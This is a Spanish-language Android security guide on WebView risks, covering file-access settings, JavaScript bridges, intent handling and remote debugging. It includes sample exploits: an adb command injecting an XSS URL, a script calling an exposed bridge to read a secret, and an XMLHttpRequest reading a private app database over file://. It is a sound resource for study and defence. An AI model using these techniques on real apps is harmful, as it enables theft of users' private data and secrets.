Webview Attacks

Guía sobre Configuraciones y Seguridad de WebView

Descripción General de las Vulnerabilidades de WebView

Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.

Acceso a Archivos en WebViews

Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla mediante el método setAllowFileAccess(), disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (file://path/to/file).

Características Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs

• Acceso Universal Desde URLs de Archivos: Esta característica obsoleta permitía solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración predeterminada está deshabilitada (false) para aplicaciones que apuntan a Android Jelly Bean y versiones más recientes.
• Para verificar esta configuración, utiliza getAllowUniversalAccessFromFileURLs().
• Para modificar esta configuración, utiliza setAllowUniversalAccessFromFileURLs(boolean).
• Acceso a Archivos Desde URLs de Archivos: Esta característica, también obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuración predeterminada está deshabilitada para mejorar la seguridad.
• Utiliza getAllowFileAccessFromFileURLs() para verificar y setAllowFileAccessFromFileURLs(boolean) para establecer.

Carga Segura de Archivos

Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el método setAllowFileAccess(). Con Android R y versiones superiores, la configuración predeterminada es false.

• Verifica con getAllowFileAccess().
• Habilita o deshabilita con setAllowFileAccess(boolean).

WebViewAssetLoader

La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, alineándose con la política de Same-Origin, facilitando así la gestión de CORS.

loadUrl

Esta es una función común utilizada para cargar URLs arbitrarias en un webview:

webview.loadUrl("<url here>")

Por supuesto, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.

Manejo de JavaScript y Esquema de Intent

• JavaScript: Desactivado por defecto en WebViews, se puede habilitar a través de setJavaScriptEnabled(). Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad.
• Esquema de Intent: Los WebViews pueden manejar el esquema intent, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).

Ejemplo de explotación usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Una característica proporcionada por Android que permite a JavaScript en un WebView invocar funciones nativas de la aplicación Android. Esto se logra utilizando el método addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado como un WebView JavaScript bridge. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.

• Se requiere extrema precaución para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código a través de JavaScript malicioso, explotando la reflexión.

Implementando un JavaScript Bridge

• Las interfaces de JavaScript pueden interactuar con el código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge se habilita al agregar una interfaz al WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a métodos Java expuestos:

<script>
alert(javascriptBridge.getSecret())
</script>

• Para mitigar riesgos, restringe el uso del puente JavaScript al código enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos más antiguos, establece el nivel mínimo de API en 17.

Ejecución Remota de Código Basada en Reflexión (RCE)

• Un método documentado permite lograr RCE a través de reflexión ejecutando una carga útil específica. Sin embargo, la anotación @JavascriptInterface previene el acceso no autorizado a métodos, limitando la superficie de ataque.

Depuración Remota

• La depuración remota es posible con Chrome Developer Tools, lo que permite la interacción y la ejecución arbitraria de JavaScript dentro del contenido de WebView.

Habilitando la Depuración Remota

• La depuración remota se puede habilitar para todos los WebViews dentro de una aplicación mediante:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Para habilitar condicionalmente la depuración según el estado de depuración de la aplicación:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar archivos arbitrarios

• Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Referencias

• https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
• https://github.com/authenticationfailure/WheresMyBrowser.Android
• https://developer.android.com/reference/android/webkit/WebView
• https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1
• https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I